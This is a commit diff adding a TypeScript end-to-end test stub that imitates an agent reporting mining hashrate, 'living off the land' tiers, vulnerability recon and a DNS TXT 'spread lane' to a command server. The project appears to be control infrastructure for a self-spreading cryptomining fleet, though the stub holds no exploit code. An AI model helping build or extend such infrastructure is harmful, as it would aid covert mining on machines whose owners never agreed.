Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/web/e2e/discover-spread-stub.ts

@@ -0,0 +1,176 @@
+/**
+ * Stub agent for discover→spread E2E — acknowledges discover_and_join and reports join_lane.
+ */
+import type { APIRequestContext } from '@playwright/test';
+import { fetchFleetSecret, waitForServerHealth } from './fixtures';
+
+export const E2E_DISCOVER_AGENT_ID = 'e2e-discover-spread-agent';
+export const E2E_DISCOVER_AGENT_HOSTNAME = 'E2E-Discover-Host';
+export const E2E_DISCOVER_JOIN_LANE = 'dns_txt';
+export const E2E_DISCOVER_JOIN_LABEL = 'DNS TXT';
+
+const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
+const STATS_INTERVAL_MS = 1_000;
+
+type HubMessage = {
+  type: string;
+  payload: string | Record<string, unknown>;
+};
+
+function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
+  if (typeof payload === 'string') {
+    return JSON.parse(payload) as Record<string, unknown>;
+  }
+  return payload;
+}
+
+function wsAgentUrl(baseUrl: string): string {
+  const trimmed = baseUrl.replace(/\/$/, '');
+  return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
+}
+
+function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
+  ws.send(JSON.stringify({ type, payload }));
+}
+
+function sendStubStats(ws: WebSocket, joinLane?: string): void {
+  send(ws, 'stats', {
+    hashrate_15s: 42,
+    hashrate_1m: 42,
+    hashrate_15m: 42,
+    shares_submitted: 0,
+    shares_accepted: 0,
+    cpu_usage_pct: 5,
+    memory_usage_pct: 40,
+    uptime_seconds: 120,
+    active_method: 'inprocess',
+    mining_hashrate: 42,
+    lotl_tier: 'inprocess',
+    lotl_attempts: [
+      { tier: 'vuln_recon', ok: true, duration_ms: 200, phase: 'recon' },
+      { tier: 'dns_txt', ok: true, duration_ms: 450, phase: 'deploy' },
+    ],
+    ...(joinLane ? { join_lane: joinLane } : {}),
+  });
+}
+
+async function connectDiscoverSpreadStub(baseUrl: string, fleetSecret: string): Promise<() => void> {
+  const ws = new WebSocket(wsAgentUrl(baseUrl));
+
+  await new Promise<void>((resolve, reject) => {
+    const timer = setTimeout(() => reject(new Error('discover stub ws open timeout')), 10_000);
+    ws.addEventListener(
+      'open',
+      () => {
+        clearTimeout(timer);
+        resolve();
+      },
+      { once: true },
+    );
+    ws.addEventListener(
+      'error',
+      () => {
+        clearTimeout(timer);
+        reject(new Error('discover stub ws connection failed'));
+      },
+      { once: true },
+    );
+  });
+
+  send(ws, 'auth', {
+    agent_id: E2E_DISCOVER_AGENT_ID,
+    fleet_secret: fleetSecret,
+    hostname: E2E_DISCOVER_AGENT_HOSTNAME,
+    version: '1.0.0-e2e',
+    platform: 'windows',
+    arch: 'amd64',
+    cpu_cores: 4,
+    memory_gb: 8,
+  });
+
+  await new Promise<void>((resolve, reject) => {
+    const timer = setTimeout(() => reject(new Error('discover stub auth timeout')), 30_000);
+    const onMessage = (ev: MessageEvent) => {
+      let msg: HubMessage;
+      try {
+        msg = JSON.parse(String(ev.data)) as HubMessage;
+      } catch {
+        return;
+      }
+      if (msg.type !== 'auth_response') return;
+      clearTimeout(timer);
+      ws.removeEventListener('message', onMessage);
+      const body = parsePayload(msg.payload);
+      if (body.success !== true) {
+        reject(new Error(`discover stub auth rejected: ${JSON.stringify(body)}`));
+        return;
+      }
+      resolve();
+    };
+    ws.addEventListener('message', onMessage);
+  });
+
+  sendStubStats(ws);
+  const statsTimer = setInterval(() => sendStubStats(ws), STATS_INTERVAL_MS);
+
+  ws.addEventListener('message', (ev) => {
+    let msg: HubMessage;
+    try {
+      msg = JSON.parse(String(ev.data)) as HubMessage;
+    } catch {
+      return;
+    }
+    if (msg.type !== 'command') return;
+    const payload = parsePayload(msg.payload);
+    const action = String(payload.action ?? '');
+    const command = String(payload.command ?? '').trim().toLowerCase();
+
+    if (action === 'discover_and_join' || command === 'discover_and_join') {
+      send(ws, 'command_result', {
+        action: 'discover_and_join',
+        success: true,
+        message: `discover_and_join ok — join_lane=${E2E_DISCOVER_JOIN_LANE}`,
+      });
+      sendStubStats(ws, E2E_DISCOVER_JOIN_LANE);
+      return;
+    }
+
+    send(ws, 'command_result', { action, success: true, message: 'e2e-discover-stub-ok' });
+  });
+
+  return () => {
+    clearInterval(statsTimer);
+    ws.close();
+  };
+}
+
+let serverReady = false;
+let disconnectStub: (() => void) | null = null;
+let connectPromise: Promise<boolean> | null = null;
+
+export async function ensureDiscoverSpreadStub(request: APIRequestContext): Promise<boolean> {
+  if (disconnectStub) return serverReady;
+  if (!connectPromise) {
+    connectPromise = (async () => {
+      serverReady = await waitForServerHealth(request);
+      if (!serverReady) return false;
+
+      const fleetSecret = await fetchFleetSecret(request);
+      disconnectStub = await connectDiscoverSpreadStub(baseURL, fleetSecret);
+      await new Promise((r) => setTimeout(r, 2_500));
+      return true;
+    })();
+  }
+  return connectPromise;
+}
+
+export function isDiscoverSpreadStubReady(): boolean {
+  return serverReady;
+}
+
+export function teardownDiscoverSpreadStub(): void {
+  disconnectStub?.();
+  disconnectStub = null;
+  connectPromise = null;
+  serverReady = false;
+}